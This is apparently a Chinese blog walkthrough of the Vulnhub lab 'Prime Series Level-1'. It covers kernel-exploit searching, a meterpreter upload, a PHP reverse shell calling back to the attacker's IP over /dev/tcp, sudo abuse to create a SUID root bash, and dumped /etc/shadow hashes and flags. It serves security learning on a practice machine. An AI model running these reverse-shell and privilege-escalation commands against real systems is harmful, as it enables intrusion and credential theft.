Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfi | linux_x86-64/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/ | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / | linux/local/47169.c
---------------------------------------------------- ---------------------------------
Shellcodes: No Results

这些命令会显示系统的内核版本和发行版信息。在本例中,靶机运行的是 Ubuntu 16.04。

2.5.2 搜索内核漏洞

接下来,我们搜索适用于 Ubuntu 16.04 的内核漏洞:

searchsploit 16.04 Ubuntu

搜索结果中,我们找到了一个适用的内核提权漏洞:CVE-2017-16995,对应的 exploit 是 45010.c。

2.5.3 获取并编译 exploit

我们从 Metasploit 的漏洞数据库中获取 exploit 代码:

# 在 Kali Linux 中
┌──(root㉿kali)-[/usr/…/exploitdb/exploits/linux/local]
└─# cp 45010.c /root

然后,我们将 exploit 上传到靶机:

# 在 meterpreter 会话中
meterpreter > upload /root/45010 /tmp/45010
[*] Uploading  : /root/45010 -> /tmp/45010
[*] Uploaded -1.00 B of 21.11 KiB (-0.0%): /root/45010 -> /tmp/45010
[*] Completed  : /root/45010 -> /tmp/45010

接下来,我们在靶机上编译并执行 exploit:

# 在 meterpreter 会话中的 shell 中
meterpreter > ls
Listing: /tmp
=============
Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
041777/rwxrwxrwx  4096   dir   2025-03-25 10:44:16 +0800  .ICE-unix
041777/rwxrwxrwx  4096   dir   2025-03-25 10:44:16 +0800  .Test-unix
100444/r--r--r--  11     fil   2025-03-25 10:44:45 +0800  .X0-lock
041777/rwxrwxrwx  4096   dir   2025-03-25 10:44:45 +0800  .X11-unix
041777/rwxrwxrwx  4096   dir   2025-03-25 10:44:16 +0800  .XIM-unix
041777/rwxrwxrwx  4096   dir   2025-03-25 10:44:16 +0800  .font-unix
100644/rw-r--r--  21616  fil   2025-03-25 19:00:05 +0800  45010
041777/rwxrwxrwx  4096   dir   2025-03-25 10:44:16 +0800  VMwareDnD
040700/rwx------  4096   dir   2025-03-25 10:45:33 +0800  systemd-private-25334c1d620f4dd69d80005459922a54-colord.
                                                          service-4gd8ES
040700/rwx------  4096   dir   2025-03-25 10:45:26 +0800  systemd-private-25334c1d620f4dd69d80005459922a54-rtkit-d
                                                          aemon.service-ti6TTW
040700/rwx------  4096   dir   2025-03-25 10:44:16 +0800  systemd-private-25334c1d620f4dd69d80005459922a54-systemd
                                                          -timesyncd.service-bWBd7B
040700/rwx------  4096   dir   2025-03-25 10:44:31 +0800  vmware-root
#根据这里显示已经成功上传45010


ls
45010
VMwareDnD
systemd-private-25334c1d620f4dd69d80005459922a54-colord.service-4gd8ES
systemd-private-25334c1d620f4dd69d80005459922a54-rtkit-daemon.service-ti6TTW
systemd-private-25334c1d620f4dd69d80005459922a54-systemd-timesyncd.service-bWBd7B
vmware-root

chmod +x 45010

./45010
./45010: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./45010)

#经过查询,发现 version `GLIBC_2.34' not found这里提醒的是版本太低

因为版本问题,去修改很麻烦,所以换个方式使用这个45010

<?php

exec("/bin/bash -c 'bash -i >& /dev/tcp/61.139.2.130/9999 0>&1'");

?>

这里 写kali的ip,尝试反弹shell

┌──(root㉿kali)-[~]
└─# nc -lvnp 9999

listening on [any] 9999 ...
connect to [61.139.2.130] from (UNKNOWN) [61.139.2.132] 37692
bash: cannot set terminal process group (1047): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/wordpress/wp-content/themes/twentynineteen$ sudo -l
<ml/wordpress/wp-content/themes/twentynineteen$ sudo -l                      
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (root) NOPASSWD: /home/saket/enc

尝试提权,sudo –l 查看权限,发现目录/home/saket/enc,提示信息(root) NOPASSWD: /home/saket/enc

直接cd不进去,那就一个一个进

最终拿到user.txt ===> af3c658dcf9d7190da3153519c003456

现在还需要进一步想办法查看到enc文件的权限

脏牛尝试也不行

--static

google大法

参考文章https://github.com/yufongg/writeups/blob/main/Vulnhub/Linux/Prime%201/Prime%201.md#/

继续这一步

尝试在kali系统里面找,

www-data@ubuntu:/$ find / 2>/dev/null | grep -v /usr/share | grep pass
/usr/lib/pppd/2.4.7/passwordfd.so
/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/grant_types/__pycache__/resource_owner_password_credentials.cpython-35.pyc
/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py
/usr/lib/python2.7/getpass.py
/usr/lib/apache2/modules/mod_proxy_fdpass.so
/usr/lib/gnupg2/gpg-preset-passphrase
/usr/lib/python3.5/getpass.py
/run/systemd/ask-password
/bin/systemd-tty-ask-password-agent
/bin/systemd-ask-password
/opt/backup/server_database/backup_pass <- BACKUP PASS

找到 /opt/backup/server_database/backup_pass
直接看看这里 /opt/backup/server_database/backup_pass

输入密码backup_password,发现enc会给一些东西了

enc.txt

nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=

拿到enc里面的密文,结合刚刚user.txt,并且突然发现“enc” 就是在提示要解密啊啊啊啊!!!!!可以才猜测是aes了

所以继续找key.txt,然后这里给了ippsec提示md5

www-data@ubuntu:/home/saket$ cat key.txt
cat key.txt
I know you are the fan of ippsec.

So convert string "ippsec" into md5 hash and use it to gain yourself in your real form.
www-data@ubuntu:/home/saket$ cat key.txt
cat key.txt                                                                                         
I know you are the fan of ippsec.                                                                   
                                                                                                    
So convert string "ippsec" into md5 hash and use it to gain yourself in your real form.             
www-data@ubuntu:/home/saket$ echo -n ippsec | md5sum 
echo -n ippsec | md5sum 
366a74cb3c959de17d61db30591c39d1  -
www-data@ubuntu:/home/saket$ 

也就是 echo -n ippsec | md5sum 得到key.txt 366a74cb3c959de17d61db30591c39d1

然后拿到

RG9udCB3b3JyeSBzYWtldCBvbmUgZGF5IHdlIHdpbGwgcmVhY2ggdG8Kb3VyIGRlc3RpbmF0aW9uIHZlcnkgc29vbi4gQW5kIGlmIHlvdSBmb3JnZXQgCnlvdXIgdXNlcm5hbWUgdGhlbiB1c2UgeW91ciBvbGQgcGFzc3dvcmQKPT0+ICJ0cmlidXRlX3RvX2lwcHNlYyIKClZpY3Rvciw=

base64解密拿到 Victor tribute_to_ippsec

www-data@ubuntu:/home/saket$ echo RG9udCB3b3JyeSBzYWtldCBvbmUgZGF5IHdlIHdpbGwgcmVhY2ggdG8Kb3VyIGRlc3RpbmF0aW9uIHZlcnkgc29vbi4gQW5kIGlmIHlvdSBmb3JnZXQgCnlvdXIgdXNlcm5hbWUgdGhlbiB1c2UgeW91ciBvbGQgcGFzc3dvcmQKPT0+ICJ0cmlidXRlX3RvX2lwcHNlYyIKClZpY3Rvciw= | base64 -d
<+ICJ0cmlidXRlX3RvX2lwcHNlYyIKClZpY3Rvciw= | base64 -d                       
Dont worry saket one day we will reach to
our destination very soon. And if you forget 
your username then use your old password
==> "tribute_to_ippsec"

Victor,www-data@ubuntu:/home/saket$ 

给了Victor,这里可以再试试saket,也需要切换交互式

www-data@ubuntu:/var/www$ tty
tty
not a tty

www-data@ubuntu:/var/www$ bash ./test.sh
bash ./test.sh
bash: ./test.sh: No such file or directory

www-data@ubuntu:/var/www$ su victor
su victor
su: must be run from a terminal

www-data@ubuntu:/var/www$script /dev/null

Script started, file is /dev/null

$ su saket
su saket
Password: tribute_to_ippsec
saket@ubuntu:/var/www$ 

给了提示

saket@ubuntu:/var/www$ sudo -l
sudo -l
Matching Defaults entries for saket on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User saket may run the following commands on ubuntu:
    (root) NOPASSWD: /home/victor/undefeated_victor

sudo /home/victor/undefeated_victor不成功

saket@ubuntu:/var/www$ sudo /home/victor/undefeated_victor
sudo /home/victor/undefeated_victor
if you can defeat me then challenge me in front of you
/home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found

saket@ubuntu:/var/www$printf '#!/bin/bash\n\ncp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash\n' > /tmp/challenge; chmod 4777 /tmp/challenge;  

查看能不能进root

saket@ubuntu:~$ /tmp/rootbash -p
/tmp/rootbash -p
rootbash-4.3# whoami
whoami
root
rootbash-4.3# ls
ls
enc  enc.txt  key.txt  password.txt  user.txt

rootbash-4.3# cat user.txt
cat user.txt
af3c658dcf9d7190da3153519c003456

rootbash-4.3# cat password.txt
cat password.txt
follow_the_ippsec

rootbash-4.3# cat enc.txt
cat enc.txt
nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=

切换到root下

rootbash-4.3# cd /root
cd /root
rootbash-4.3# ls
ls
enc  enc.cpp  enc.txt  key.txt  root.txt  sql.py  t.sh  wfuzz  wordpress.sql

rootbash-4.3# cat /etc/shadow
cat /etc/shadow
root:$6$4JnZ9LD4$rvVg3L9wZnrTrFPHOvHfWav7WObqy/TybGeH6cQX3Z.bBMbRUnFkh2314qjAHbazsB7L.h/vd/ypi1XSnqC6E0:18140:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:*:17379:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
victor:$6$RFdRixC9$/e9/mnvPAhsqDsbXbxZDVAU5XMdJoJ6NdROuHD5iVvee5IhLLhA9p6LpXiWN6w3Sc7OL1QZKhitMEiIW/5.qb1:18140:0:99999:7:::
mysql:!:18137:0:99999:7:::
saket:$6$QPh3ZS4a$trjFhWeIHm.b1gP1V7Egaen2BhmHOiISGPXM.ZdShQqhUf5QON/UbG5W8eGX72CGiCsOcfr2F/ywegJQ0H6bc0:18138:0:99999:7:::
sshd:*:18137:0:99999:7:::
guest-qux2p1:!:20173::::::

rootbash-4.3# id
id
uid=1001(saket) gid=1001(saket) euid=0(root) groups=1001(saket)

最后,我们可以查看 root 目录下的 flag 文件:

cat /root/root.txt
b2b17036da1de94cfb024540a8e7075a

这样,我们就成功完成了对 Prime Series Level-1 靶机的渗透测试,从网络扫描到权限提升的整个过程。

2.6 rootbash

这里用到一个工具

┌──(root㉿kali)-[/home/kali/桌面]
└─# chmod +x linpeas.sh
                                                                                                                     
┌──(root㉿kali)-[/home/kali/桌面]
└─# ./linpeas.sh

扫描到一个 /opt/backup

cat /opt/backup/server\_database/backup\_pass

也可以得到 backup_password 密码

2.6.1 现在要进一步开始尝试改密码

euid=0你确实有root权限,passwd会检查uid

改密码可以直接修改shadow 或者加个sudoer直接拿到uid=0

2.6.2 怎么才可以弹shell是root权限的shell

创建challenge文件之后,前面都是不加权限,直接写的东西

这次先加权限,再去challenge写入 echo "bash -p" > /tmp/chasllenge

然后再去sudo发现就没有以下的另外提示了

/home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found

继续,id一下,这次就没有euid,是一个完整的root权限了

2.6 总结

通过这次渗透测试,以下是关键技术和方法:

  1. 使用 arp-scan 和 nmap 进行网络扫描和端口识别
  1. 使用 dirb 进行目录扫描
  1. 利用文件包含漏洞读取敏感文件
  1. 使用 wfuzz 进行参数爆破
  1. 利用 WordPress 漏洞上传反弹 shell
  1. 使用 Metasploit 设置监听器和获取 meterpreter 会话
  1. 利用内核漏洞进行权限提升

以上内容很乱,思路就是常规的,哪个能实现用哪个即可

不能实现的,可以私聊,我也非常乐意多学习学习

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值